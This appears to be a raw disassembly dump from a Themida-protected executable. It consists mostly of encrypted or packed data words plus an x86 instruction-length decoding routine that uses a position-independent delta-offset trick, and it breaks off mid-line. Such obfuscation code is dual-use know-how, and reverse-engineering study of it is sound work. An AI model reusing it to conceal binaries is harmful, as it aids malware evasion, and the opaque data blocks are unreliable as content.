60B390Dh, 7830Fh dd 0B8600000h, 7F10A19h, 60D0FF61h, 2840Fh, 0FE8B0000h dd 3CDABF66h, 45858961h, 0E9060B2Eh, 13h, 0E7C2303Eh, 6ED831FDh dd 0DB37EC48h, 0BF937CE7h, 0E99C6A85h, 13Ch, 0CE9h, 0DB564200h dd 724615F4h, 365B376Ch, 8D0F5056h, 0Ch, 6890Fh, 860F0000h dd 0 dd 0F242C89h, 18Ch, 0EC8BFC00h, 12E9h, 0F92FBF00h, 8268286Fh dd 2EEE8888h, 8774C66Eh, 8367F792h, 60F9FCC4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8DC35242h, 18E0FEFh dd 0F9000000h, 0E8h, 0EA815A00h, 610705Dh, 0FC45C7h, 83000000h dd 0B2859BAh, 840F0106h, 98h, 6A006A52h, 0F192FF0Fh, 5A060B28h dd 6B7C8289h, 9A8D0610h, 6106B80h, 2803C752h, 53000001h dd 5992FF50h, 5A060B1Fh, 809A8D52h, 5306106Bh, 6B7CB2FFh dd 92FF0610h, 60B2E45h, 74C00B5Ah, 809A8D50h, 8D06106Bh dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h, 4558452Eh dd 348DEE75h, 0C752B39h, 2B7DBA8Dh, 4D8B060Bh, 32A4F30Ch dd 0FF52AAC0h, 828D0875h, 60B2B7Dh, 7192FF50h, 5A060B21h dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 6E9h, 40E66100h, 0F52B12D0h, 9E8D28Bh dd 1C000000h, 82A2BEE3h, 322CA78Ah, 58CFB70Fh, 0EE9h, 0FDC2F600h dd 5C1114BEh, 0D704DAC6h, 81C1CFA5h, 6B52C0h, 0BEEC8A00h dd 42701B0Fh, 1AEF681h, 14E94270h, 92000000h, 1DECAE0Fh dd 53185641h, 0FC221182h, 40A73ECFh, 0FFD8C74Bh, 89ABF30h dd 805A5140h, 0C28174D3h, 0D454550h, 19880Fh, 0E9600000h dd 0Ch, 0D9D2B841h, 9F301120h, 0F623B197h, 691DD181h, 816164A3h dd 0C85E77F2h, 0F810F28h, 0E8000000h, 6, 1D1732B8h, 0C180914Ah dd 0C2815BEAh, 194EFAC4h, 60E38A60h, 0D38682BAh, 6161F515h dd 0F7816652h, 8F7CDFh, 0F9D38166h, 3E88349h, 48D88B66h dd 43C1C781h, 0EE811052h, 1, 0FF7D850Fh, 0C980FFFFh, 0EE848h dd 0DB10000h, 0DE9D32Eh, 79FE43D6h, 0F0AF291Fh, 0F08B6657h dd 8B665958h, 0E9C181F3h, 6600005Fh, 0C868C18Bh, 0BB000017h dd 6677ADEDh, 5E95Ah, 7CB60000h, 0FF802F50h, 3870F31h dd 80000000h, 0F5F29E3h, 0C781D9BFh, 67AD4F3Bh, 0EE8h dd 3F484700h, 0C2D4A6D2h, 0CC8A7923h, 520F62C5h, 0FE9h dd 76028C00h, 67E14E97h, 5D96E7E5h, 0B1E6402Ch, 0C7815E58h dd 28CBCEC4h, 0FBB86657h, 0EF815E68h, 0F68DEDBh, 0A4F48060h dd 0B4CF8166h, 6657611Dh, 18FD88Bh, 0E981F28Bh, 40B9D341h dd 54E88166h, 3DC1812Ah, 0E940B9D3h, 12h, 0A79B1F1Bh, 79E63817h dd 0A2C674F7h, 0D0FD14BAh, 0EA83B789h, 6C850F01h, 66FFFFFFh dd 0EC956DBBh, 1DE96811h, 6BA50448h, 25F1F1ACh, 4005E573h dd 0F9799937h, 57FF4872h, 30820B87h, 3F307587h, 67473E26h dd 42234A7Ah, 0EB3B518Ah, 0F53F4931h, 3830483Ah, 64D91C82h dd 1304834h, 73048BEh, 0B28DCB37h, 0C1364339h, 0E000CC38h dd 0A6B14837h, 7BD088BFh, 1C3312DEh, 58302237h, 7304BDFh dd 406E6837h, 0E544C169h, 0C474C933h, 70305033h, 0FB660E37h dd 0B09E875Bh, 0E7B12E8Dh, 82BD996Ch, 85203AD8h, 0C129C938h dd 0F1D84837h, 0CC304837h, 530F9FB9h, 4D12AC67h, 2B9DA8DCh dd 0DD9C86CCh, 0D36F2957h, 0C1305BDEh, 1A698637h, 0BF4759C6h dd 0CFCED1B4h, 50C03D54h, 2B434D8Eh, 6D144CBEh, 80D81937h dd 0E1304837h, 69698B6Eh, 0F1346C7Bh, 2C346C73h, 5D304837h dd 1BC8B66h, 7304EBBh, 0D6DFC937h, 0A7737A50h, 269681B6h dd 2E1CDBAh, 87564E27h dword_593468 dd 4EA0E542h, 0D906AB89h, 61601671h, 8CA0B2BCh, 0C1305BB0h ; DATA XREF: Themida_:0054B6AAo dd 0ECD91B37h, 98304837h, 9554634Dh, 59581916h, 579452B3h dd 21DDDC8h, 835A4E3Ch, 0C133A066h, 0B9104837h, 3CB911F4h dd 7CB14C13h, 1C284C13h, 5F714837h, 8A6F4h, 84D8CA9Fh dd 4E304837h, 8C040E98h, 0BEB02286h, 0F8BB1146h, 131CF651h dd 0B8DF5B4h, 72304E3Ch, 528DCB3Eh, 0C136431Eh, 0B3605143h dd 0A8888BCh, 0B1304833h, 171A7DB2h, 14ADC531h, 0F8364584h dd 6813E4h, 0CA19998Ah, 0F7444831h, 0A881B67h, 0B1304833h dd 171A7DB2h, 7ADC531h, 0F8364587h, 6A6813E4h, 0C130483Bh dd 859B6308h, 0FEEF6A05h, 949BEC87h, 4B65F751h, 89F7C951h dd 8AF0C386h, 934291AAh, 97302231h, 0E0304BDFh, 0B36E6837h dd 1C44C169h, 3874C933h, 0E305233h, 0C4660E37h, 30E21232h dd 391CC856h, 8A64CDBAh, 0F13F4E27h, 38304822h, 1C3058DEh dd 50834937h, 0C497CF58h, 0A5247D79h, 422533B7h, 8AE0B728h dd 73D81B37h, 18304837h, 956B8B6Ch, 8F346C6Bh, 1D346C73h dd 0C0304837h, 669F8B64h, 0AA8E738Ch, 0E28E2EC3h, 3824A0DEh dd 0A0AA4837h, 7F0CB68Bh, 580C2446h, 995D865Dh, 5323A724h dd 573F217Ch, 0B03B12C8h, 3829CC38h, 91C94837h, 57D9FAAh dd 0D5B12E31h, 8088EAB1h, 0A7304837h, 1F49BB88h, 0FD6A1ED4h dd 2842A9AAh, 99BDB131h, 8202263h, 0F8C3FF38h, 0D53022E7h dd 0C1304BDFh, 236E6837h, 5444C169h, 1C74C933h, 1C305333h dd 0CD660E37h, 2EEFFB87h, 4D04D058h, 28C7C351h, 0E0304825h dd 39707DA5h, 0DF7595D9h, 0A268B201h, 2FB0047Eh, 0C73B0DD9h dd 8309CC38h, 71814837h, 0ADE7D5BAh, 82B14E3Ch, 2CA8CF6h dd 1C30498Fh, 64D3B737h, 4D81D37h, 0A3304837h, 486D8B6Ah dd 61346C5Bh, 66346C73h, 7D304837h, 12638B62h, 56DAC999h dd 8A613751h, 9342AEAAh, 2B8F2E31h, 0B4B5C5EDh, 7F36585Dh dd 0E8CF8180h, 0F460485Dh, 0E304834h, 5FF31017h, 87140CBEh dd 0C5140CB6h, 0E030482Fh, 5F31877h, 0DC794EA4h, 1C23CC38h dd 5D84837h, 2D304837h, 0E486D51Fh, 0C1E1717h, 0BA615528h dd 7FF0436Eh, 383016B3h, 1C3EA037h, 0DA3E4837h, 1EFC361Dh dd 54C5E9B0h, 0AA0D225Bh, 6D6AB8BCh, 7B7D9FAAh, 69302231h dd 1C304BDFh, 0CD696837h, 237CC16Eh, 0A774C933h, 0C1305533h dd 23610937h, 0A5203BCDh, 0EDBE62B3h, 8A8A7625h, 0B60F55B1h dd 7304834h, 71D6F751h, 4D3FABC8h, 0E0304830h, 7031C538h dd 7BC84837h, 0F460485Dh, 0E304834h, 5FF31017h, 87140CBEh dd 0C5140CB6h, 0E0304823h, 3AF31877h, 3831C038h, 91C84837h dd 1E42878Ah, 0C4BDC531h, 3B365841h, 4B7B144Ah, 0CB1DCD04h dd 0BF1B4E3Ch, 0FD32A1F6h, 2842A9AAh, 99BDB131h, 8202263h dd 0F8C3FF38h, 0D53022E7h, 83304BDFh, 0A4F305E9h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 2C1F16C3h, 0AC22A18Ah, 0F87B46Eh, 6AD0B7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F50E28C3h dd 8B666E8Eh, 48F0FC3h, 66000000h, 8BBC6DBEh, 0CE9C0h dd 46600000h, 565107D7h, 0A7860BA8h, 13E9CA18h, 0B6000000h dd 0DA8EE952h, 6167CBCh, 287E6E96h, 4961BA91h, 0BD83C83Dh dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h dd 47AB8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501774h, 47AB8h, 99858900h, 8D060B12h dd 0DB0229Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0AD3C7ABBh, 0E9C05149h dd 5, 0AE793F75h, 8DC08BB6h, 1078568Dh, 4D8D8906h, 57060B17h dd 8E8h, 18874A00h, 8B8C29AAh, 0C7585A7Bh, 0B011985h, 743006h dd 68C0F00h, 9000000h, 0B15B58Dh, 985C706h, 60B10h, 8B000000h dd 0B0DF985h, 5B5FF06h, 6A060B27h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 82B1C352h dd 0AE4D6EB7h, 2FBB6642h, 0C595FF8Dh, 6A060B0Ah, 0DD95FF00h dd 8B060B32h, 506BEBC0h, 0BE598A54h, 0E6E775D8h, 355A26FEh dd 51458F78h, 0E692C404h, 853C12F3h, 8EC48009h, 0C4D0E24Fh dd 31D8BA5Eh, 8E6DFA2Dh, 41E22696h, 6917CADh, 22C0662Fh dd 16A93595h, 0C08F4D89h, 2A7BDF75h, 76C428DBh, 433B4E11h dd 0AD6E2CDh, 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 0AFC5332Ch dd 0E793845Ch, 2987D124h, 16BA9427h, 66E9EE64h, 60000002h dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 60B0B01h, 7D18858Dh dd 0D0FF060Eh, 0F558589h, 0FE8B060Bh, 680CEFC1h, 20060000h dd 26A006Ah, 0D6857h, 95FF0001h, 60B0F55h, 32E9h, 4585C600h dd 56060B28h, 0C530DF68h, 55B5FFA9h, 8D060B13h, 0E7D1885h dd 89D0FF06h, 0B33A185h, 61858D06h, 50060B0Bh, 56A406Ah dd 0A195FF56h, 61060B33h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 79498589h, 428B0610h, 4185890Ch dd 8B061079h, 85891042h, 6107945h, 797FB58Dh, 858D0610h dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 107949B5h, 41858B06h dd 83061079h, 107945BDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 49858908h, 8D061079h, 1079D0B5h dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 10794985h, 4C206h dd 7949858Bh, 8B0610h, 79498589h, 0CF0610h, 60000000h dd 79A6B589h, 85890610h, 61079A2h, 43D858Dh, 408B060Bh dd 0DF858944h, 8D061079h, 107A15B5h, 35858D06h, 0FF005B7Eh dd 858B61D0h, 61079A6h, 0A29D8BC3h, 0F061079h, 33C43B7h dd 785B8BD8h, 79A29D03h, 738B0610h, 0A2B50324h, 56061079h dd 8B207B8Bh, 0BD031C73h, 61079A2h, 79A2B503h, 83FC0610h dd 8B41FFC9h, 1079A69Dh, 3178B06h, 1079A295h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 1079A285h, 0A6858906h, 8B061079h, 8BCE8BF0h dd 0DFBD81C1h, 61079h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61079DFh dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0DFBD8100h dd 61079h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 61079DFh, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 4D858DCFh dd 89061079h, 0B088585h, 0E3858D06h, 89061079h, 0B131185h dd 0AA858D06h, 89061079h, 0B027985h, 0ED8D8D06h, 0B006107Bh dd 4D8D892Eh, 6A060B17h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 8938C351h, 3820F6Fh dd 66000000h, 0C6BFF08Bh, 0C76D1720h, 0B011985h, 627006h dd 9858900h, 0C7060B08h, 0B100985h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 24BDDACh, 7568618Bh, 2173CB81h, 0B5FF7678h, 60B0DA5h dd 16799533h, 95FF060Bh, 60B0AC5h, 6AD88Bh, 32DD95FFh dd 0C08B060Bh, 0B1D82AEBh, 0A537E61Eh, 32D9246Fh, 17C12D8Eh dd 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h dd 0AFC6F8Dh, 2129C9C2h, 13E8h, 0BB412800h, 22A4B94Dh dd 37410C91h, 677D9F16h, 156BA231h, 56412FBAh, 52565904h dd 0B54DDA81h, 5A5A3458h, 6071C181h, 0BD230000h, 60B33A9h dd 68h, 5E92B200h, 1B25B529h, 48B060Bh, 0D68B6631h, 5CC3C081h dd 0BA6639CFh, 0E881FFE1h, 4B4679DBh, 0CD9BD8Bh, 0F081060Bh dd 6FC409E3h, 8E9h, 1244CE00h, 0F1923137h, 48F5039h, 850F31h dd 66000000h, 0EE81D68Bh, 557816C8h, 813BF680h, 7816C4C6h dd 0FA8B6655h, 0A040FE81h, 850FFFFFh, 0FFFFFFA6h, 14E8h dd 10FCDD00h, 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh dd 4ABF661Ah, 0C8E95A32h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 107EAEEDh, 85C76006h dd 6107DFBh, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 107DFF85h, 606h, 24E900h dd 858D0000h, 6107E03h, 53858D50h, 5006107Eh, 0E8006A56h dd 1Dh, 2510C483h, 0FFh, 7DFF8589h, 3610610h, 107DFFB5h dd 0FB858B06h, 5D06107Dh db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_593FDE mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_593FEA ; --------------------------------------------------------------------------- loc_593FDE: ; CODE XREF: Themida_:00593FC7j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_593FEA: ; CODE XREF: Themida_:00593FD9j push ebx push esi push edi loc_593FED: ; CODE XREF: Themida_:00594042j ; Themida_:0059405Ej ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_594000: ; CODE XREF: Themida_:00594027j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6107F65h lea ebp, [ebp+6107DDBh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59402D inc cl cmp cl, 0Bh jb loc_594000 loc_59402D: ; CODE XREF: Themida_:0059401Cj cmp cl, 0Bh jz loc_59408A cmp al, 66h jnz loc_59406B cmp byte ptr [ebp-5], 0 jnz loc_593FED cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_594063 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_593FED ; --------------------------------------------------------------------------- loc_594063: ; CODE XREF: Themida_:00594050j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59406B: ; CODE XREF: Themida_:00594038j cmp al, 67h jnz loc_593FED cmp byte ptr [ebp-6], 0 jnz loc_593FED xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_593FED ; --------------------------------------------------------------------------- loc_59408A: ; CODE XREF: Themida_:00594030j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5940B6 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5940BB ; --------------------------------------------------------------------------- loc_5940B6: ; CODE XREF: Themida_:00594095j movzx edi, al shr edi, 1 loc_5940BB: ; CODE XREF: Themida_:005940B1j push ebp call $+5 pop ebp sub ebp, 610801Dh lea ebp, [ebp+6107CDBh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59423D mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_594181 dec ecx jz loc_594164 dec ecx jnz loc_5941D4 cmp byte ptr [ebp-2], 0 jnz loc_5941D0 cmp byte ptr [ebp-5], 0 jz loc_594143 mov byte ptr [ebp+0Bh], 2 loc_594143: ; CODE XREF: Themida_:00594139j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 61080A9h mov dword ptr [ebp+6107DFBh], 1 pop ebp jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_594164: ; CODE XREF: Themida_:0059411Ej cmp byte ptr [ebp-2], 0 jnz loc_5941AE cmp byte ptr [ebp-5], 0 jz loc_5941AE mov byte ptr [ebp+0Bh], 2 jmp loc_5941AE ; --------------------------------------------------------------------------- loc_594181: ; CODE XREF: Themida_:00594117j cmp byte ptr [ebp-2], 0 jnz loc_5941C7 cmp byte ptr [ebp-5], 0 jz loc_5941B6 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5941AE mov [ebp+0Bh], cl loc_5941AE: ; CODE XREF: Themida_:00594168j ; Themida_:00594172j ... inc byte ptr [ebp+0Bh] jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_5941B6: ; CODE XREF: Themida_:0059418Fj cmp dl, 5 jnz loc_5941D4 mov [ebp+0Bh], dl jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_5941C7: ; CODE XREF: Themida_:00594185j cmp dl, 6 jnz loc_5941D4 loc_5941D0: ; CODE XREF: Themida_:0059412Fj mov byte ptr [ebp+0Bh], 3 loc_5941D4: ; CODE XREF: Themida_:00594125j ; Themida_:0059415Fj ... dec byte ptr [ebp+0Bh] jz loc_594202 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5941E4: ; CODE XREF: Themida_:005941FAj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5941E4 mov esi, edx loc_594202: ; CODE XREF: Themida_:005941D7j and al, 0FEh cmp al, 0F6h jnz loc_594237 cmp edi, 7Fh ja loc_594237 test bl, 38h jnz loc_594237 cmp byte ptr [ebp-7], 0 jz loc_594231 movzx eax, byte ptr [ebp-4] jmp loc_594234 ; --------------------------------------------------------------------------- loc_594231: ; CODE XREF: Themida_:00594222j push 1 pop eax loc_594234: ; CODE XREF: Themida_:0059422Cj mov [ebp-1], al loc_594237: ; CODE XREF: Themida_:00594206j ; Themida_:0059420Fj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59423D: ; CODE XREF: Themida_:005940E7j mov al, bl and eax, 7 sub eax, 4 jz loc_594268 dec eax dec eax jz loc_59425E and bl, 7 add [ebp-1], bl jmp loc_594270 ; --------------------------------------------------------------------------- loc_59425E: ; CODE XREF: Themida_:0059424Dj mov al, [ebp-3] add al, 6 jmp loc_59426D ; --------------------------------------------------------------------------- loc_594268: ; CODE XREF: Themida_:00594245j mov al, [ebp-3] add al, 4 loc_59426D: ; CODE XREF: Themida_:00594263j add [ebp-1], al loc_594270: ; CODE XREF: Themida_:00594259j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_594298 movzx ecx, byte ptr [ebp-1] inc ecx loc_594283: ; CODE XREF: Themida_:00594292j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_594283 loc_594298: ; CODE XREF: Themida_:00594278j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLI db 'Đë-',0 dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h dd 22E4A8D4h, 0AF0E9h, 833B6800h, 0FCE90610h, 68FFFAFCh dd 6108472h, 0FAFCF2E9h, 857368FFh, 0E8E90610h, 68FFFAFCh dd 610860Ch, 0FAFCDEE9h, 870E68FFh, 0D4E90610h, 68FFFAFCh dd 61087F6h, 0FAFCCAE9h, 88E168FFh, 0C0E90610h, 68FFFAFCh dd 6108A90h, 0FAFCB6E9h, 8BA368FFh, 0ACE90610h, 55FFFAFCh dd 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh, 3EC774Eh, 0A61DC6F9h dd 79445CBFh, 0C9F40DFAh, 9CABFD2Ah, 605DA647h, 4AE20EF3h dd 0C5849F3Eh, 0BD5AC2B1h, 1DCFBB33h, 7A40C394h, 97ACF0CCh dd 9BC12145h, 340EBD84h, 97A2F726h, 7B56A34Ch, 4C584597h dd 0B5C7D771h, 77DFE358h, 6B2B1CFDh, 7B03EF9Bh, 261A603Ah dd 8DB0C934h, 412BC539h, 71988837h, 2DEFB24h, 0C97310E4h dd 5DFC446Bh, 3415B7BFh, 9D4FA340h, 0C9F22470h, 9CA0E35Eh dd 8B6583E7h, 273C091Ah, 3C80BDC6h, 519BA0FCh, 416BC0DDh dd 222D154Eh, 927E2693h, 460BCC46h, 0E5000009h, 4CB9BA91h dd 3AEB0839h, 0E401D2EFh, 53BCA79Eh, 56ED7649h, 0A994EC0Fh dd 79445D4Ah, 0CCFB0DFAh, 90ADF617h, 3AB2BE43h, 0C5849E4Eh dd 0DE8A72C1h, 0A514F8D5h, 95A8F050h, 0A8F4A2B1h, 58254993h dd 80BD9F19h, 17310C15h, 0F67EC238h, 3A60E696h, 0E70F9943h dd 3A60E6E3h, 58CC1E64h, 3A60E62Ch, 0F7B15FA3h, 7EB02F6h dd 41C62C35h, 2E000000h, 0E4760D6Fh, 20A4C85Ah, 0A7C3941Dh dd 0A29FEA53h, 541F084h, 3143BD9Fh, 60CBC9BDh, 0CA645E3Ah dd 6294E04Dh, 0E2C2B70h, 2D016579h, 0CDF98959h, 742C3A60h dd 0C16A8379h, 0D1472C35h, 0A1000000h, 14F8D5DEh, 0FA605FA5h dd 7BCFF20Bh, 0DB61E907h, 1EE2DF2Ah, 7649533Ah, 0ADA04E82h dd 40FF6D58h, 0DCDF2105h, 52A22B2Ch, 9445CD7Bh, 39ADB683h dd 0C3941A74h, 5C87B2C7h, 816B66B3h, 43370E14h, 5BBF869Ah dd 3745A5ADh, 0A3B63E2Ch, 844260FEh, 0A3F9A5BEh, 45C9F40Dh dd 3753DB01h, 0B83A60CEh, 68FC6E42h, 446D5F02h, 8FFB73FDh dd 30733Dh, 0E914C63Ah, 56B7AC93h, 0C3F47342h, 7A8C6A72h dd 80F3788h, 5AAC0000h, 17F063h, 0B6C52231h, 57AF589Bh dd 61A8B68h, 569D243Fh, 81526DB7h, 31221F64h, 6EF5C0D4h dd 9A597481h, 1773FB71h, 98C58499h, 0DADEB329h, 7A8F78FBh dd 1C3E9D4Fh, 997BB056h, 0D6FC881Ch, 0F73C394h, 9A7AFD2Bh dd 26E21EBDh, 81D18AFAh, 3E455767h, 9F458F2Ch, 2CEBE631h dd 927B6E0Ch, 0D799B78Eh, 9FC6FE5Fh, 870B4FBDh, 6184DFAFh dd 1FAE0A3Ah, 368A44E5h, 0BF6D2Ch, 0DE8B0000h, 0A514F8D5h dd 549C605Fh, 0C3941B09h, 896A67B0h, 4A3E0B1Ch, 0A50F1580h dd 0BF936752h, 6548F75Bh, 5B42F11h, 4D51FFD3h, 0AEC6142Fh dd 426028ABh, 0E1BDA69Ch, 0A30D159Bh, 2C00645Bh, 89B8CF3Eh dd 71603B4Eh, 40EEBC77h, 194F06AEh, 21C0446Dh, 32383D9Ch dd 9F4DA128h, 7EDD2A6Eh, 5B2F197Dh, 0E7A8AF9h, 81307249h dd 65E9D42Ch, 0AE9CD21h, 0AFB8879Dh, 8C6B3F32h, 0E0EC141h dd 0AD000007h, 14F16259h, 0C2233001h, 0AC599AB7h, 1BF46F56h dd 9E253E01h, 516CB457h, 211C6582h, 0F4C3D532h, 5875BE6Fh dd 72FA769Bh, 0C5849816h, 0DEB22A99h, 8F78FBDAh, 709D4F7Ah dd 79FA1425h, 0F8D5DE9Bh, 46798372h, 0ACF9A0A8h, 0BD31FE04h dd 0C3941DC9h, 2C00645Eh, 1DDFAF37h, 8DEFC394h, 96C064F6h dd 19BD849Bh, 7CA93B21h, 3333C329h, 0E98F7A91h, 23CD01F5h dd 77ECD92Ah, 0CCB08D96h, 4E798F7Eh, 0FB801CA0h, 8E0CFD71h dd 0B9814470h, 6D0125AEh, 0F95EB48Ch, 675h, 6A89C0D2h dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h, 849BBDC9h dd 0DD4332C5h, 1A6DD5DEh, 3675B2Fh, 0FE0EADBFh, 0AC28B662h dd 63790DA1h, 0F4CEC394h, 82977690h, 51AC3B7h, 0EA4AAAE3h dd 9AFEFB97h, 0C4802436h, 4BC39413h, 477E8677h, 81C569F3h dd 6C39413h, 283013Ch, 1FBC8E08h, 745CF888h, 201D66CDh dd 0EA04785Ch, 0C3D43DC8h, 7A936DF6h, 5732416Dh, 0Eh, 0F2CFD8C5h dd 261CCA0Eh, 195C8h, 27A75000h, 17C3941Dh, 0E26CFE85h dd 66EAE533h, 7C435B22h, 0CA9AB488h, 0BD849BB1h, 0FB2A300Ah dd 85C165AEh, 0A3A7B63h, 63DAAEC6h, 55AD3A7Bh, 29C61D71h dd 0E97BE1DCh, 0E37CC972h, 0E9794F22h, 3A7BAB9Dh, 9DEF2812h dd 7B971761h, 0C82028C6h, 29BDAFB4h, 447085D8h, 0FBE26D55h dd 6E8C6D08h, 57323E4h, 0C6D00000h, 6CBB548Fh, 1A69865Dh dd 0CBD33C27h, 7ABE6FF4h, 3239985Bh, 65FEC1DBh, 954E7388h dd 0C2112C78h, 7EE5D025h, 0B3D75F8Dh, 34C5849Ah, 0D5DEDF45h dd 0D7C614F8h, 0C90DF1C0h, 7DE52E1Fh, 54381C2Bh, 0F41DA8EAh dd 174496A3h, 0DC29FF3Dh, 1E391DE1h, 86A07669h, 7FFA13EDh dd 7D73241h, 31000000h, 0C9C8h, 0D6F5000h, 0C85AE476h dd 941D20A4h, 0AB41E7C3h, 0F2329B4Bh, 1B44E605h, 5E7B3F48h dd 2838CC7Ah, 4ABD8408h, 0F482D315h, 64BF1470h, 98A79B3Ah dd 0F7657CF6h, 64D00B7Fh, 88A69C3Ah, 0E5DC228Bh, 59AA5B81h dd 0D16F76Ch, 502C4C30h, 0FE8D21CBh, 4F447456h, 0E334E10Bh dd 97E00DD6h, 0C6D6D6BAh, 2A07AFBDh, 564E7F51h, 5824A0C4h dd 57AB2E41h, 0A0F55AB9h, 49B6B195h, 60927C4Eh, 48B2DE2h dd 0DE280000h, 84937CE7h, 3241AEB5h, 0D32BC41Fh, 829677ECh dd 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h, 0EA094450h, 6DDE83Dh dd 8BFF77F5h, 1CC5849Ah, 5FC837ADh, 24000001h, 1D76129Ah dd 81F9C394h, 1DB7D35Bh, 0C238C394h, 0D6F3E24h, 0AB5AE476h dd 31C5635Eh, 0BD849B31h, 0E716C43Eh, 48B5A792h, 5ABE023Fh dd 0C9DACBACh, 0C92D1069h, 0FE06F745h, 11754C52h, 